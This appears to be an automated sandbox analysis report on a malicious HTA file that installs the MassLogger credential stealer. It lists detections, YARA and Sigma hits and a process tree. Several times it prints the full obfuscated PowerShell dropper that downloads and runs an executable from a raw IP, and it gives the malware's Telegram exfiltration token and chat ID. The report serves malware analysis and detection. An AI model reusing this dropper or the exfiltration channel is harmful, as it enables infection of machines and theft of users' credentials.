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Windows Analysis Report
niceworkingskillwithbestideasevermade.hta

Overview

General Information

Sample name:	niceworkingskillwithbestideasevermade.hta
Analysis ID:	1635004
MD5:	7be10b48df649c0720116bc1bb178dec
SHA1:	ba4ca754ecebc5976ff60f440f494946ec4f1ad0
SHA256:	d6c68cc013c7ec14d71aa4cdeedb0602e58fb3938a0bb34c886630f84ff89f0e
Tags:	htauser-abuse_ch
Infos:

Detection

Cobalt Strike, MSIL Logger, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected Cobalt Strike Beacon

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Powershell decode and execute

Yara detected Telegram RAT

.NET source code references suspicious native API functions

Binary is likely a compiled AutoIt script file

Contains functionality to log keystrokes (.Net Source)

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Suspicious MSHTA Child Process

Suspicious command line found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Compiles C# or VB.Net code

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 1988 cmdline: mshta.exe "C:\Users\user\Desktop\niceworkingskillwithbestideasevermade.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 5760 cmdline: "C:\Windows\system32\cmd.exe" "/c poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6796 cmdline: poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 8260 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 8276 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES40A0.tmp" "c:\Users\user\AppData\Local\Temp\rc1uxl4b\CSC86B1AEBB56F14E089D24D1744B11DAAD.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

casse.exe (PID: 8360 cmdline: "C:\Users\user\AppData\Roaming\casse.exe" MD5: CCF58F1C31418CE9C8929DDE25203F6C)

RegSvcs.exe (PID: 8384 cmdline: "C:\Users\user\AppData\Roaming\casse.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7996508565:AAHHBM6wSJS6GosO-ff2t38cxPw1t-vbBj8", "Telegram Chatid": "5758197122"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data
00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xefdf:$a1: get_encryptedPassword 0xf307:$a2: get_encryptedUsername 0xed7a:$a3: get_timePasswordChanged 0xee9b:$a4: get_passwordField 0xeff5:$a5: set_encryptedPassword 0x10951:$a7: get_logins 0x10602:$a8: GetOutlookPasswords 0x103f4:$a9: StartKeylogger 0x108a1:$a10: KeyLoggerEventArgs 0x10451:$a11: KeyLoggerEventArgsEventHandler
00000007.00000002.2521575129.0000000002856000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: casse.exe PID: 8360	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: casse.exe PID: 8360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: casse.exe PID: 8360	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: casse.exe PID: 8360	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: casse.exe PID: 8360	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3b9d3:$a1: get_encryptedPassword 0x3bcec:$a2: get_encryptedUsername 0x3b782:$a3: get_timePasswordChanged 0x3b8a3:$a4: get_passwordField 0x3b9e9:$a5: set_encryptedPassword 0x3d2ec:$a7: get_logins 0x3cf9d:$a8: GetOutlookPasswords 0x3cd8f:$a9: StartKeylogger 0x3d23c:$a10: KeyLoggerEventArgs 0x3cdec:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 8384	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 8384	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 8384	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: RegSvcs.exe PID: 8384	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 8384	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ed02:$a1: get_encryptedPassword 0x3f01b:$a2: get_encryptedUsername 0x3eab1:$a3: get_timePasswordChanged 0x3ebd2:$a4: get_passwordField 0x3ed18:$a5: set_encryptedPassword 0x4061b:$a7: get_logins 0x402cc:$a8: GetOutlookPasswords 0x400be:$a9: StartKeylogger 0x4056b:$a10: KeyLoggerEventArgs 0x4011b:$a11: KeyLoggerEventArgsEventHandler
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.casse.exe.3bb0000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.casse.exe.3bb0000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.casse.exe.3bb0000.1.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
6.2.casse.exe.3bb0000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.casse.exe.3bb0000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3df:$a1: get_encryptedPassword 0xd707:$a2: get_encryptedUsername 0xd17a:$a3: get_timePasswordChanged 0xd29b:$a4: get_passwordField 0xd3f5:$a5: set_encryptedPassword 0xed51:$a7: get_logins 0xea02:$a8: GetOutlookPasswords 0xe7f4:$a9: StartKeylogger 0xeca1:$a10: KeyLoggerEventArgs 0xe851:$a11: KeyLoggerEventArgsEventHandler
6.2.casse.exe.3bb0000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1238b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11889:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b97:$a4: \Orbitum\User Data\Default\Login Data 0x1298f:$a5: \Kometa\User Data\Default\Login Data
6.2.casse.exe.3bb0000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.casse.exe.3bb0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.casse.exe.3bb0000.1.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
6.2.casse.exe.3bb0000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
6.2.casse.exe.3bb0000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
6.2.casse.exe.3bb0000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data
7.2.RegSvcs.exe.750000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
7.2.RegSvcs.exe.750000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.RegSvcs.exe.750000.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
7.2.RegSvcs.exe.750000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.RegSvcs.exe.750000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
7.2.RegSvcs.exe.750000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data
Click to see the 13 entries

Other

Source	Rule	Description	Author	Strings
amsi32_6796.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/c poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/c poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgI

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6796, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline", ProcessId: 8260, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6796, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\casse[1].exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6796, TargetFilename: C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICA